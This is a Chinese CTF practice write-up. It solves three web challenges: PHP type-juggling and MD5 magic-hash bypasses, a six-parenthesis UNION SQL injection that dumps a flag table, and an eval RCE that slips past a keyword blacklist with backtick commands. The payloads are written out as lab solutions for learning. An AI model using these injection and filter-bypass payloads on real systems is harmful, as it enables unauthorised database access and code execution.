ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

2026.10.28-NSSCTF刷题记录

2026.10.28-NSSCTF刷题记录

NSSCTF

[NSSCTF 2022 Spring Recruit]babyphp

<?php highlight_file(__FILE__); include_once('flag.php'); //将flag.php这个文件在这段代码中插入一次 if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ //检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数 if(isset($_POST['b1'])&&$_POST['b2']){ //检测是否通过POST方式传参b1和b2 if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ //检查b1和b2是否不相等,md5加密后的b1和b2必须强相等 if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){ //检查c1和c2是不是字符串且不相等,md5加密后的相等 echo $flag; }else{ echo "yee"; } }else{ echo "nop"; } }else{ echo "go on"; } }else{ echo "let's get some php"; } ?> let's get some php

include_once('flag.php')会把flag.php的代码在当前作用域中执行一次。执行之后,文件里定义的变量、函数、类等,自然就在当前作用域里生效了。

总共就三个条件

1、检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数

2、检查b1和b2是否不相等,md5加密后的b1和b2必须强相等

3、检查c1和c2是不是字符串且不相等,md5加密后的相等

首先是第一层绕过:

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
payload为:a[]=1 isset()返回的是布尔值,检查是否传参
!preg_match() //如果匹配到数字,则返回true preg_match 的第二个参数要求是字符串。我们通过a[]=1传进去的是数组,PHP 7 及以下会: 发出警告:preg_match() expects parameter 2 to be string, array given 返回 false(表示执行失败,不是“没匹配到”) !preg_match(...) → !false → true
intval 面对数组的规则: 输入 返回值 intval([])(空数组) 0 intval(['1'])(非空数组) 1 intval([1,2,3]) 1 任何非空数组,intval 都返回 1。所以: intval(['1']) → 1 → if 里为真

第二层绕过

if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){

要求两者不相等,但是类型和值必须相等——在PHP7版本以下,通过数组绕过

原理为:

在PHP版本7以下,md5()在接收到数组之后不会进行比较,而是直接返回结果null,所以在比较的过程中,两者结果全是null,自然值和类型全部相等

payload为: b1[]=2&b2=12

第三层

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){

第三层要求上传的是字符串,且md5加密之后要求相等,因PHP规则,会将某些字符串加密后的MD5值当作数字0进行处理,后导致弱等于成立,例如:

QNKCDZO → 0e830400451993494058024219903391

240610708 → 0e462097431906509019562988736854

aabg7XSs → 0e087386482136013740957780965295

PHP 不是“看错了”或“误认”成科学计数法。==弱比较的规则是明确设计的:

两个字符串用==比较时,如果两边都符合数字格式,就把它们转成数字再比。

"0e830400..."确实符合 PHP 的数字字符串格式(科学计数法),所以 PHP 按规则把它转成数字0。这不是 bug,也不是识别错误,是弱比较的正常行为。

"123" → 数字 123 "1.5" → 数字 1.5 "1e3" → 数字 1000 "0e123" → 数字 0 ← 0 乘以 10 的 123 次方 "0e999999" → 数字 0

最终paylod

a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO

[LitCTF 2023]这是什么?SQL !注一下 !

<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql);

使用的是PHP中的拼接符号,闭合中并不存在引号的情况

给出了后端语句,知道了闭合方式为6个括号,查看元数据库

-1)))))) union select 1,schema_name from information_schema.schemata%23

一个库一个库找之后发现是 ctftraining 库

查看flag表中的列名,发现有一个列名为flag

?id=-1)))))) union select 1,column_name from information_schema.columns where table_schema="ctftraining" and table_name="flag"%23

拿到flag

?id=-1)))))) union select 1,flag from ctftraining.flag%23

[UUCTF 2022 新生赛]ez_rce

居然都不输入参数,可恶!!!!!!!!! <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }

代码逻辑是通过get传参,如果没有正则匹配到这其中过滤的函数,则执行$code变量中传参的命令

print_r()将命令执行后的结果打印出来

?code=print_r(`ta\c /fffffffffflagafag`);

返回列表